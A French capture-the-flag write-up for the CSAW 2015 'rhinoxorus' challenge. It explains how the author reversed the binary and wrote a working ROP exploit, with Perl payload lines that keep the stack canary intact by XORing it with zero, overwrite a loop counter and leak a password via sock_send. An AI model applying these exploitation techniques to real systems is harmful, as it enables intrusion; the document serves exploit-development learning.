Voici un petit write-up pour le challenge 'rhinoxorus' du CSAW ctf 2015.

Analyse

    $ rop-tool info ./repo/ctf/2015/csaw-preq/exploit500

     ===== INFOS =====
    Filename                 ./repo/ctf/2015/csaw-preq/exploit500
    File format              ELF32
    Architecture             x86
    Endianess                little endian
    Entry point              0x8048750
    Loadables segments       2
    Sections                 30

    NX bit                   enabled
    SSP                      enabled
    Relro                    partial
    RPATH                    no rpath
    RUNPATH                  no runpath
    PIE                      disabled

Il s'agit d'un fork-serveur écoutant sur le port 24242. Une fois connecté, le serveur lit une chaine de caractères, puis fais quelques opérations dessus. On arrive assez vite à faire planter le serveur en envoyant une chaine assez longue.

Au début du challenge, le code source n'était pas fourni (il le fût au bout d'un moment, mais j'avais déjà fini la partie reversing...), j'ai donc sorti IDA pour tenter de comprendre le fonctionnement de ce mystérieux programme.

On trouve dans le programme 256 fonctions, ayant la forme suivante (pas 100% fidèle) :

    #define BUFF_SIZE(X) ((0x84 - (0x32 - X)*4) & 0xFF)
    #define CHAR_TO_FUNC(c) ((c + 0x32) & 0xFF)

    #define CALL_FUNC(x,s,c) do { functions[x](s,c); } while(0)

    #define FUNC(X)                                 \
      void func_X(char *buff, int count) {          \
        char s[BUFF_SIZE(X)];                       \
        int i;                                      \
                                                    \
        if(--count == 0)                            \
          return;                                   \
                                                    \
        memset(s, BUFF_SIZE(X), BUFF_SIZE(X));      \
                                                    \
        for(i = 0; i < count; i++) {                \
          s[i] ^= buff[i];                          \
        }                                           \
                                                    \
        CALL_FUNC(CHAR_TO_FUNC(s[0], ++s, count));  \
                                                    \
      }

On remarque que notre chaine de caractère est traité de cette manière :

    CALL_FUNC(CHAR_TO_FUNC(buffer[0], buffer, len_received);

On peut constater que ces fonctions sont toutes vulnérables à un stack based overflow...

Maintenant, comment exploiter tout ça, en sachant qu'il y a Stack Smashing Protector ?

Exploitation

Ma cible a été la fonction func_00 (il fallait en choisir une...)

Au début de ma chaine, je mets une rop-chain exécutant sock_send(sock, password, len). Ils ont été gentils de nous fournir cette fonction, en plus du password à une adresse fixe... Mais je pense, qu'une fois qu'on était arrivé à faire exécuter notre rop-chain, il aurait été plutôt facile de réaliser une exploitation plus poussée (leak de la libc, mmap() d'un shellcode, etc...)

    $buff .= pack("L", 0x0804a5ce); # ret
    $buff .= pack("L", 0x0804884b); # sock_send()
    $buff .= pack("L", 0x44444444); # dummy
    $buff .= pack("L", 5);          # sock
    $buff .= pack("L", 0x0805f0c0); # @password
    $buff .= pack("L", 0x100);      # len

Au début de ma rop-chain, je mets un 'ret' car étant donné que le premier caractère de notre chaine détermine quelle fonction est appelée, il est plus facile de trouver une instruction ret avec un byte de poids faible permettant d'appeler notre fonction func_00().

$ rop-tool g ./repo/ctf/2015/csaw-preq/exploit500 -d 1 -a -n | grep ret | grep "ce ->"
     0x0804a5ce -> ret ;

Je remplis ensuite le buffer à overflowé avec n'importe quoi...

** Comment bypasser le canary ?**

Étant donné que le buffer sur lequel nous débordons est xoré avec notre payload...Si on XOR le canary avec 0x0, notre canary ne sera pas modifié !

Ensuite, une fois la fonction func_00 appelée, nous souhaitons que l'exécution s'arrête afin d'éviter un segfault dans une autre fonction ayant un buffer plus petit. Pour se faire, on remarque qu'il est possible d'écraser la variable count, variable utilisée comme cas d'arrêt.

Si on met cette variable à 1, alors la prochaine fonction func_X appelée retournera immédiatement.

Étant donnée que dans func_00, la variable count vaut 0xd7 (taille de notre buffer - 1), il suffit de xorer cette valeur avec 0xd7 XOR 1.

En effet :

count = 0xd7 XOR (0xd7 XOR 1)

<=> count = (0xd7 XOR 0xd7) XOR 1

<=> count = 1

Ensuite, notre rop-chain (le buffer présent dans processconnection()), étant situé à ESP+0x1c octets au moment du retour de la fonction func00, on a besoin d'écraser saved-eip par la valeur d'un gadget permettant d'incrémenter ESP de 0x1c octets.

$ rop-tool g ./repo/ctf/2015/csaw-preq/exploit500 -d 10 | grep "add esp"
    0x080578f5 -> add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret ;
     ...

Par chance, nous trouvons pile ce qu'il nous faut.

Il ne faut pas oublier de XORER cette adresse avec l'ancien saved-eip dans notre payload.

On a tout ce qu'il faut pour créer notre exploit et obtenir le flag !

    $buff .= pack("L", 0x0);                     # canary
    $buff .= pack("L", 0x44444444)x3;            # padding

    $buff .= pack("L", 0x080578f5 ^ 0x08056afa); # add esp, 0xc, pop4 ; ret
    $buff .= pack("L", 0x44444444);              # dummy
    $buff .= pack("L", 0xd7 ^ 0x1);              # count

L'exploit se trouve ici : exploit

Et le binaire là : binaire

Challenge intéressant ; il fallait voir qu'on pouvait XORER le canary avec 0x0 et écraser la variable count afin de stopper l'exécution.